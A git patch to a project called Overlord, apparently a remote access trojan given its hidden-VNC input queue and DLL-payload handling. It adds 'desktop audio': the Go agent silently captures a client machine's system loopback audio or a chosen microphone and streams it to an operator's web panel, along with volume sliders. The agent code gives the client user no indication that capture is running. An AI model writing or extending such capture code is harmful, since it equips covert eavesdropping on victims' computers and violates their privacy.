From 135091f6face21a4a73b2a569264007251b5765f Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 16 Apr 2026 17:19:56 -0500 Subject: [PATCH] desktop audio and switches to turn up/down audio --- .../cmd/agent/audio/voice_native_cgo.go | 117 ++++++++- Overlord-Client/cmd/agent/audio/voice_stub.go | 4 + Overlord-Client/cmd/agent/handlers/command.go | 80 +++++- .../public/assets/remotedesktop.js | 132 ++++++++++ Overlord-Server/public/assets/voice.js | 237 +++++++++++++++++- Overlord-Server/public/remotedesktop.html | 3 + Overlord-Server/public/voice.html | 52 +++- Overlord-Server/src/main-server.ts | 10 + Overlord-Server/src/protocol.ts | 2 + .../routes/websocket-lifecycle-routes.ts | 14 ++ .../src/server/routes/ws-upgrade-routes.ts | 20 ++ .../src/server/ws-desktop-audio.ts | 117 +++++++++ .../src/sessions/sessionManager.ts | 31 +++ Overlord-Server/src/sessions/types.ts | 8 + Overlord-Server/src/wsValidation.ts | 3 +- 15 files changed, 818 insertions(+), 12 deletions(-) create mode 100644 Overlord-Server/src/server/ws-desktop-audio.ts diff --git a/Overlord-Client/cmd/agent/audio/voice_native_cgo.go b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go index 5050fe0..8a621c8 100644 --- a/Overlord-Client/cmd/agent/audio/voice_native_cgo.go +++ b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go @@ -85,7 +85,7 @@ func ProbeCapabilities() Capabilities { caps := Capabilities{ Available: true, RequiresCGO: true, - Sources: []string{"default"}, + Sources: []string{"default", "system"}, DefaultSource: "default", } @@ -350,3 +350,118 @@ func (s *Session) Close() error { s.wg.Wait() return nil } + +func StartCaptureOnlySession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) { + if onCapture == nil { + return nil, errors.New("capture callback is required") + } + source = strings.TrimSpace(source) + + audioCtx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil) + if err != nil { + return nil, fmt.Errorf("audio init failed: %w", err) + } + + ctx, cancel := context.WithCancel(parent) + s := &Session{ + ctx: ctx, + cancel: cancel, + audioCtx: audioCtx, + uplink: make(chan []byte, 24), + queue: &playbackBuffer{}, + } + + capCfg := malgo.DefaultDeviceConfig(malgo.Capture) + capCfg.SampleRate = voiceSampleRate + capCfg.Capture.Format = malgo.FormatS16 + capCfg.Capture.Channels = voiceChannels + useLoopback := false + if strings.EqualFold(source, "system") { + capCfg = malgo.DefaultDeviceConfig(malgo.Loopback) + capCfg.SampleRate = voiceSampleRate + capCfg.Capture.Format = malgo.FormatS16 + capCfg.Capture.Channels = voiceChannels + useLoopback = true + } else if strings.HasPrefix(strings.ToLower(source), "device:") { + deviceName := strings.TrimSpace(source[len("device:"):]) + deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, deviceName) + if !ok || deviceID == nil { + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture device was not found: %s", deviceName) + } + capCfg.Capture.DeviceID = deviceID.Pointer() + } else if source != "" && !strings.EqualFold(source, "default") && !strings.EqualFold(source, "microphone") { + deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, source) + if !ok || deviceID == nil { + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture device was not found: %s", source) + } + capCfg.Capture.DeviceID = deviceID.Pointer() + } + + capCallbacks := malgo.DeviceCallbacks{ + Data: func(_, input []byte, _ uint32) { + if len(input) == 0 { + return + } + chunk := append([]byte(nil), input...) + select { + case s.uplink <- chunk: + default: + select { + case <-s.uplink: + default: + } + select { + case s.uplink <- chunk: + default: + } + } + }, + } + capDev, err := malgo.InitDevice(audioCtx.Context, capCfg, capCallbacks) + if err != nil && useLoopback { + capCfg = malgo.DefaultDeviceConfig(malgo.Capture) + capCfg.SampleRate = voiceSampleRate + capCfg.Capture.Format = malgo.FormatS16 + capCfg.Capture.Channels = voiceChannels + deviceID, _, ok := findSystemCaptureDevice(audioCtx.Context) + if !ok || deviceID == nil { + audioCtx.Free() + cancel() + return nil, errors.New("system audio capture device was not found on this client") + } + capCfg.Capture.DeviceID = deviceID.Pointer() + capDev, err = malgo.InitDevice(audioCtx.Context, capCfg, capCallbacks) + } + if err != nil { + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture init failed: %w", err) + } + s.capture = capDev + + if err := capDev.Start(); err != nil { + s.capture.Uninit() + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture start failed: %w", err) + } + + s.wg.Add(1) + go func() { + defer s.wg.Done() + for { + select { + case <-s.ctx.Done(): + return + case chunk := <-s.uplink: + onCapture(chunk) + } + } + }() + + return s, nil +} diff --git a/Overlord-Client/cmd/agent/audio/voice_stub.go b/Overlord-Client/cmd/agent/audio/voice_stub.go index 0ca3ada..595f4e8 100644 --- a/Overlord-Client/cmd/agent/audio/voice_stub.go +++ b/Overlord-Client/cmd/agent/audio/voice_stub.go @@ -30,3 +30,7 @@ func (s *Session) WritePlayback(_ []byte) error { func (s *Session) Close() error { return nil } + +func StartCaptureOnlySession(_ context.Context, _ string, _ func([]byte)) (*Session, error) { + return nil, errors.New("native voice support requires a CGO-enabled build") +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 9ae431a..8ba26d0 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -29,13 +29,15 @@ import ( var ErrReconnect = errors.New("reconnect requested") var ( - activeCommands = make(map[string]context.CancelFunc) - activeCommandsMu sync.Mutex - voiceSessionMu sync.Mutex - voiceSession *voiceRuntime - hvncInputOnce sync.Once - hvncInputQueue chan hvncInputEvent - hvncInputDropped atomic.Uint64 + activeCommands = make(map[string]context.CancelFunc) + activeCommandsMu sync.Mutex + voiceSessionMu sync.Mutex + voiceSession *voiceRuntime + desktopAudioMu sync.Mutex + desktopAudioSession *voiceRuntime + hvncInputOnce sync.Once + hvncInputQueue chan hvncInputEvent + hvncInputDropped atomic.Uint64 ) type hvncInputKind int @@ -455,6 +457,54 @@ func writeVoiceDownlink(data []byte) error { return nil } +func stopDesktopAudioSession() { + desktopAudioMu.Lock() + v := desktopAudioSession + desktopAudioSession = nil + desktopAudioMu.Unlock() + if v == nil { + return + } + if v.cancel != nil { + v.cancel() + } + if v.session != nil { + _ = v.session.Close() + } +} + +func startDesktopAudioSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error { + if sessionID == "" { + return errors.New("missing desktop audio session id") + } + + stopDesktopAudioSession() + + vCtx, cancel := context.WithCancel(ctx) + session, err := audio.StartCaptureOnlySession(vCtx, source, func(chunk []byte) { + if len(chunk) == 0 { + return + } + msg := map[string]interface{}{ + "type": "desktop_audio_uplink", + "sessionId": sessionID, + "data": chunk, + } + _ = wire.WriteMsg(vCtx, env.Conn, msg) + }) + if err != nil { + cancel() + return err + } + + v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session} + desktopAudioMu.Lock() + desktopAudioSession = v + desktopAudioMu.Unlock() + + return nil +} + func extractDLLBytes(payload map[string]interface{}) []byte { if payload == nil { return nil @@ -1754,6 +1804,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in caps := audio.ProbeCapabilities() payload, _ := json.Marshal(caps) return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)}) + case "desktop_audio_start": + sessionID, _ := envelopePayloadString(envelope, "sessionId") + source := "system" + payload, _ := envelope["payload"].(map[string]interface{}) + if payload != nil { + if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" { + source = strings.TrimSpace(v) + } + } + if err := startDesktopAudioSession(ctx, env, sessionID, source); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "desktop_audio_stop": + stopDesktopAudioSession() + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) } switch action { diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 9ed1bc1..b444ebe 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -45,6 +45,7 @@ import { checkFeatureAccess } from "./feature-gate.js"; const inputLatency = document.getElementById("inputLatency"); const statusEl = document.getElementById("streamStatus"); const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); + const audioCtrl = document.getElementById("audioCtrl"); ws.binaryType = "arraybuffer"; let activeClientId = clientId; @@ -98,6 +99,125 @@ import { checkFeatureAccess } from "./feature-gate.js"; h264KeyframeErrorStreak = 0; } + /* ── Remote Desktop Audio (system audio from client) ── */ + const AUDIO_SAMPLE_RATE = 16000; + const AUDIO_PLAYBACK_FRAME = 512; + const AUDIO_MAX_BUFFER_MS = 120; + let audioWs = null; + let audioPlayCtx = null; + let audioProcessorNode = null; + let audioChunks = []; + let audioChunkOffset = 0; + + function audioResampleInt16ToFloat32(srcInt16, srcRate, dstRate) { + if (!srcInt16 || srcInt16.length === 0) return new Float32Array(0); + if (srcRate === dstRate) { + const out = new Float32Array(srcInt16.length); + for (let i = 0; i < srcInt16.length; i++) out[i] = srcInt16[i] / 0x8000; + return out; + } + const outLength = Math.max(1, Math.round((srcInt16.length * dstRate) / srcRate)); + const out = new Float32Array(outLength); + const step = srcRate / dstRate; + for (let i = 0; i < outLength; i++) { + const srcPos = i * step; + const i0 = Math.floor(srcPos); + const i1 = Math.min(i0 + 1, srcInt16.length - 1); + const frac = srcPos - i0; + out[i] = (srcInt16[i0] * (1 - frac) + srcInt16[i1] * frac) / 0x8000; + } + return out; + } + + function initAudioPlayback() { + if (!audioPlayCtx) { + audioPlayCtx = new AudioContext({ sampleRate: AUDIO_SAMPLE_RATE, latencyHint: "interactive" }); + } + if (!audioProcessorNode) { + audioProcessorNode = audioPlayCtx.createScriptProcessor(AUDIO_PLAYBACK_FRAME, 1, 1); + audioProcessorNode.onaudioprocess = function (event) { + const out = event.outputBuffer.getChannelData(0); + out.fill(0); + let writeIndex = 0; + while (writeIndex < out.length && audioChunks.length > 0) { + const head = audioChunks[0]; + const remaining = head.length - audioChunkOffset; + if (remaining <= 0) { audioChunks.shift(); audioChunkOffset = 0; continue; } + const take = Math.min(out.length - writeIndex, remaining); + out.set(head.subarray(audioChunkOffset, audioChunkOffset + take), writeIndex); + writeIndex += take; + audioChunkOffset += take; + if (audioChunkOffset >= head.length) { audioChunks.shift(); audioChunkOffset = 0; } + } + }; + audioProcessorNode.connect(audioPlayCtx.destination); + } + } + + function appendAudioPcm(binary) { + if (!audioPlayCtx) initAudioPlayback(); + const samples = Math.floor(binary.byteLength / 2); + if (samples <= 0) return; + const src = new Int16Array(binary.buffer, binary.byteOffset, samples); + const chunk = audioResampleInt16ToFloat32(src, AUDIO_SAMPLE_RATE, audioPlayCtx?.sampleRate || AUDIO_SAMPLE_RATE); + if (chunk.length === 0) return; + audioChunks.push(chunk); + let buffered = -audioChunkOffset; + for (const c of audioChunks) buffered += c.length; + const rate = audioPlayCtx?.sampleRate || AUDIO_SAMPLE_RATE; + const max = Math.max(AUDIO_PLAYBACK_FRAME, Math.round(rate * (AUDIO_MAX_BUFFER_MS / 1000))); + while (buffered > max && audioChunks.length > 0) { + const dropped = audioChunks.shift(); + buffered -= dropped?.length || 0; + audioChunkOffset = 0; + } + } + + function connectAudio() { + if (audioWs && audioWs.readyState === WebSocket.OPEN) return; + // Create AudioContext in click/change handler so the browser trusts the user gesture. + initAudioPlayback(); + if (audioPlayCtx?.state === "suspended") audioPlayCtx.resume(); + const proto = location.protocol === "https:" ? "wss:" : "ws:"; + audioWs = new WebSocket(proto + "//" + location.host + "/api/clients/" + encodeURIComponent(clientId) + "/desktop-audio/ws"); + audioWs.binaryType = "arraybuffer"; + audioWs.onopen = function () { + audioWs.send(JSON.stringify({ type: "start", source: "system" })); + }; + audioWs.onmessage = function (ev) { + if (typeof ev.data === "string") return; + const bytes = new Uint8Array(ev.data); + if (bytes.byteLength > 1) appendAudioPcm(bytes); + }; + audioWs.onclose = function () { cleanupAudio(false); }; + audioWs.onerror = function () {}; + } + + function disconnectAudio() { + if (audioWs) { + try { audioWs.send(JSON.stringify({ type: "stop" })); } catch {} + try { audioWs.close(); } catch {} + audioWs = null; + } + cleanupAudio(true); + } + + function cleanupAudio(uncheckBox) { + if (audioProcessorNode) { + audioProcessorNode.disconnect(); + audioProcessorNode.onaudioprocess = null; + audioProcessorNode = null; + } + if (audioPlayCtx) { + audioPlayCtx.close().catch(function () {}); + audioPlayCtx = null; + } + audioChunks = []; + audioChunkOffset = 0; + audioWs = null; + if (uncheckBox && audioCtrl) audioCtrl.checked = false; + } + function resetH264SessionState() { resetH264RuntimeState(); h264RecoveryAttempts = 0; @@ -565,6 +685,7 @@ import { checkFeatureAccess } from "./feature-gate.js"; desiredStreaming = false; setStreamState("stopping", "Stopping stream"); sendCmd("desktop_stop", {}); + disconnectAudio(); }); fullscreenBtn.addEventListener("click", function () { if (canvasContainer.requestFullscreen) { @@ -620,6 +741,15 @@ import { checkFeatureAccess } from "./feature-gate.js"; pushCaptureToggles(); }); } + if (audioCtrl) { + audioCtrl.addEventListener("change", function () { + if (audioCtrl.checked) { + connectAudio(); + } else { + disconnectAudio(); + } + }); + } if (qualitySlider) { updateQualityLabel(qualitySlider.value); @@ -1076,6 +1206,7 @@ import { checkFeatureAccess } from "./feature-gate.js"; ws.addEventListener("close", function () { desiredStreaming = false; + disconnectAudio(); destroyVideoDecoder(); setStreamState("disconnected", "Disconnected"); }); @@ -1217,6 +1348,7 @@ import { checkFeatureAccess } from "./feature-gate.js"; desiredStreaming = false; sendCmd("desktop_stop", {}); } + disconnectAudio(); destroyVideoDecoder(); } diff --git a/Overlord-Server/public/assets/voice.js b/Overlord-Server/public/assets/voice.js index 0310202..941b460 100644 --- a/Overlord-Server/public/assets/voice.js +++ b/Overlord-Server/public/assets/voice.js @@ -17,6 +17,13 @@ const remoteWaveCanvas = document.getElementById("remote-wave"); const sourceSelect = document.getElementById("source-select"); const muteSelfBtn = document.getElementById("mute-self-btn"); const muteRemoteBtn = document.getElementById("mute-remote-btn"); +const micVolumeSlider = document.getElementById("mic-volume"); +const micVolumeLabel = document.getElementById("mic-volume-label"); +const remoteVolumeSlider = document.getElementById("remote-volume"); +const remoteVolumeLabel = document.getElementById("remote-volume-label"); + +let micGain = 1.0; +let remoteGain = 1.0; let ws = null; let mediaStream = null; @@ -25,6 +32,7 @@ let processorNode = null; let captureAudioCtx = null; let playAudioCtx = null; let playProcessorNode = null; +let playGainNode = null; let selfMuted = true; let remoteMuted = true; let playbackChunks = []; @@ -236,6 +244,11 @@ function initPlaybackEngine() { if (!playAudioCtx) { playAudioCtx = new AudioContext({ sampleRate: 16000, latencyHint: "interactive" }); } + if (!playGainNode) { + playGainNode = playAudioCtx.createGain(); + playGainNode.gain.value = remoteGain; + playGainNode.connect(playAudioCtx.destination); + } if (!playProcessorNode) { playProcessorNode = playAudioCtx.createScriptProcessor(PLAYBACK_FRAME_SIZE, 1, 1); playProcessorNode.onaudioprocess = (event) => { @@ -266,7 +279,7 @@ function initPlaybackEngine() { } } }; - playProcessorNode.connect(playAudioCtx.destination); + playProcessorNode.connect(playGainNode); } } @@ -293,6 +306,9 @@ async function startMicCapture() { const inData = event.inputBuffer.getChannelData(0); const downsampled = downsampleTo16k(inData, captureAudioCtx.sampleRate); + if (micGain !== 1.0) { + for (let i = 0; i < downsampled.length; i++) downsampled[i] *= micGain; + } localWaveWrite = pushWaveSamples(localWaveBuffer, localWaveWrite, downsampled); const pcm16 = floatToInt16(downsampled); @@ -319,6 +335,10 @@ function stopMicCapture() { playProcessorNode.onaudioprocess = null; playProcessorNode = null; } + if (playGainNode) { + playGainNode.disconnect(); + playGainNode = null; + } if (playAudioCtx) { playAudioCtx.close().catch(() => {}); playAudioCtx = null; @@ -437,6 +457,7 @@ async function loadCapabilities() { } const sources = Array.isArray(caps.sources) && caps.sources.length > 0 ? caps.sources : ["default"]; + if (!sources.includes("system")) sources.push("system"); const defaultSource = caps.defaultSource && sources.includes(caps.defaultSource) ? caps.defaultSource : sources[0]; if (sourceSelect) { @@ -468,6 +489,16 @@ muteRemoteBtn?.addEventListener("click", () => { }); window.addEventListener("beforeunload", disconnectVoice); +micVolumeSlider?.addEventListener("input", () => { + micGain = parseInt(micVolumeSlider.value, 10) / 100; + if (micVolumeLabel) micVolumeLabel.textContent = micVolumeSlider.value + "%"; +}); +remoteVolumeSlider?.addEventListener("input", () => { + remoteGain = parseInt(remoteVolumeSlider.value, 10) / 100; + if (playGainNode) playGainNode.gain.value = remoteGain; + if (remoteVolumeLabel) remoteVolumeLabel.textContent = remoteVolumeSlider.value + "%"; +}); + updateMuteButtons(); drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)"); drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)"); @@ -478,3 +509,207 @@ checkFeatureAccess("voice", clientId).then(ok => { connectBtn.disabled = true; } }); + +/* ===================================================================== + Desktop Audio – independent listen-only stream (system/loopback) + ===================================================================== */ + +const daConnectBtn = document.getElementById("da-connect-btn"); +const daDisconnectBtn = document.getElementById("da-disconnect-btn"); +const daStatusPill = document.getElementById("da-status-pill"); +const daWaveCanvas = document.getElementById("da-wave"); +const daVolumeSlider = document.getElementById("da-volume"); +const daVolumeLabel = document.getElementById("da-volume-label"); + +let daWs = null; +let daGain = 1.0; +let daPlayAudioCtx = null; +let daPlayProcessorNode = null; +let daPlayGainNode = null; +let daPlaybackChunks = []; +let daPlaybackChunkReadOffset = 0; +let daLevelLoop = false; +const DA_WAVE_SIZE = 2048; +const daWaveBuffer = new Float32Array(DA_WAVE_SIZE); +let daWaveWrite = 0; + +function daSetStatus(text, cls) { + if (!daStatusPill) return; + daStatusPill.className = + "inline-flex items-center gap-2 px-3 py-1.5 rounded-full border " + cls; + daStatusPill.innerHTML = `${text}`; +} + +function daClearPlayback() { + daPlaybackChunks = []; + daPlaybackChunkReadOffset = 0; +} + +function daStartLevelLoop() { + if (daLevelLoop) return; + daLevelLoop = true; + const tick = () => { + if (!daLevelLoop) return; + drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)"); + requestAnimationFrame(tick); + }; + requestAnimationFrame(tick); +} + +function daStopLevelLoop() { + daLevelLoop = false; + daWaveBuffer.fill(0); + daWaveWrite = 0; + drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)"); +} + +function daInitPlaybackEngine() { + if (!daPlayAudioCtx) { + daPlayAudioCtx = new AudioContext({ sampleRate: 16000, latencyHint: "interactive" }); + } + if (!daPlayGainNode) { + daPlayGainNode = daPlayAudioCtx.createGain(); + daPlayGainNode.gain.value = daGain; + daPlayGainNode.connect(daPlayAudioCtx.destination); + } + if (!daPlayProcessorNode) { + daPlayProcessorNode = daPlayAudioCtx.createScriptProcessor(PLAYBACK_FRAME_SIZE, 1, 1); + daPlayProcessorNode.onaudioprocess = (event) => { + const out = event.outputBuffer.getChannelData(0); + out.fill(0); + let writeIndex = 0; + while (writeIndex < out.length && daPlaybackChunks.length > 0) { + const head = daPlaybackChunks[0]; + const remaining = head.length - daPlaybackChunkReadOffset; + if (remaining <= 0) { + daPlaybackChunks.shift(); + daPlaybackChunkReadOffset = 0; + continue; + } + const needed = out.length - writeIndex; + const take = Math.min(needed, remaining); + out.set(head.subarray(daPlaybackChunkReadOffset, daPlaybackChunkReadOffset + take), writeIndex); + writeIndex += take; + daPlaybackChunkReadOffset += take; + if (daPlaybackChunkReadOffset >= head.length) { + daPlaybackChunks.shift(); + daPlaybackChunkReadOffset = 0; + } + } + }; + daPlayProcessorNode.connect(daPlayGainNode); + } +} + +function daAppendPcm(binary) { + if (!daPlayAudioCtx) daInitPlaybackEngine(); + const samples = Math.floor(binary.byteLength / 2); + if (samples <= 0) return; + const src = new Int16Array(binary.buffer, binary.byteOffset, samples); + const chunk = resampleInt16ToFloat32(src, UPLINK_SAMPLE_RATE, daPlayAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE); + if (chunk.length === 0) return; + daPlaybackChunks.push(chunk); + daWaveWrite = pushWaveSamples(daWaveBuffer, daWaveWrite, chunk); + + const sampleRate = daPlayAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE; + const maxSamples = Math.max(PLAYBACK_FRAME_SIZE, Math.round(sampleRate * (MAX_PLAYBACK_BUFFER_MS / 1000))); + let buffered = -daPlaybackChunkReadOffset; + for (const c of daPlaybackChunks) buffered += c.length; + while (buffered > maxSamples && daPlaybackChunks.length > 0) { + const dropped = daPlaybackChunks.shift(); + buffered -= dropped?.length || 0; + daPlaybackChunkReadOffset = 0; + } +} + +function daCleanup() { + if (daPlayProcessorNode) { + daPlayProcessorNode.disconnect(); + daPlayProcessorNode.onaudioprocess = null; + daPlayProcessorNode = null; + } + if (daPlayGainNode) { + daPlayGainNode.disconnect(); + daPlayGainNode = null; + } + if (daPlayAudioCtx) { + daPlayAudioCtx.close().catch(() => {}); + daPlayAudioCtx = null; + } + daStopLevelLoop(); + daClearPlayback(); +} + +function daConnect() { + if (daWs && daWs.readyState === WebSocket.OPEN) return; + daClearPlayback(); + daStartLevelLoop(); + // Create AudioContext inside click handler so the browser trusts the user gesture. + daInitPlaybackEngine(); + if (daPlayAudioCtx?.state === "suspended") daPlayAudioCtx.resume(); + + const proto = window.location.protocol === "https:" ? "wss" : "ws"; + daWs = new WebSocket(`${proto}://${window.location.host}/api/clients/${encodeURIComponent(clientId)}/desktop-audio/ws`); + daWs.binaryType = "arraybuffer"; + + daWs.onopen = () => { + daSetStatus("Connecting", "border-blue-700 bg-blue-900/40 text-blue-100"); + daConnectBtn.disabled = true; + daDisconnectBtn.disabled = false; + daWs.send(JSON.stringify({ type: "start" })); + }; + + daWs.onmessage = (ev) => { + if (typeof ev.data === "string") { + try { + const msg = JSON.parse(ev.data); + console.log("[desktop-audio] status message:", msg); + if (msg?.type === "status") { + if (msg.status === "offline") { + daSetStatus("Client Offline", "border-amber-700 bg-amber-900/30 text-amber-200"); + } else if (msg.status === "connected") { + daSetStatus("Listening", "border-emerald-700 bg-emerald-900/40 text-emerald-100"); + } else if (msg.status === "error") { + daSetStatus("Error", "border-red-700 bg-red-900/40 text-red-100"); + } + } + } catch {} + return; + } + const bytes = new Uint8Array(ev.data); + if (bytes.byteLength > 1) daAppendPcm(bytes); + }; + + daWs.onclose = () => { + daCleanup(); + daConnectBtn.disabled = false; + daDisconnectBtn.disabled = true; + daSetStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300"); + }; + + daWs.onerror = () => { + daSetStatus("Error", "border-red-700 bg-red-900/40 text-red-100"); + }; +} + +function daDisconnect() { + daCleanup(); + if (daWs) { + try { daWs.send(JSON.stringify({ type: "stop" })); } catch {} + try { daWs.close(); } catch {} + daWs = null; + } + daConnectBtn.disabled = false; + daDisconnectBtn.disabled = true; + daSetStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300"); +} + +daConnectBtn?.addEventListener("click", daConnect); +daDisconnectBtn?.addEventListener("click", daDisconnect); +daVolumeSlider?.addEventListener("input", () => { + daGain = parseInt(daVolumeSlider.value, 10) / 100; + if (daPlayGainNode) daPlayGainNode.gain.value = daGain; + if (daVolumeLabel) daVolumeLabel.textContent = daVolumeSlider.value + "%"; +}); +window.addEventListener("beforeunload", daDisconnect); +drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)"); diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html index d5138ed..84205a5 100644 --- a/Overlord-Server/public/remotedesktop.html +++ b/Overlord-Server/public/remotedesktop.html @@ -140,6 +140,9 @@ +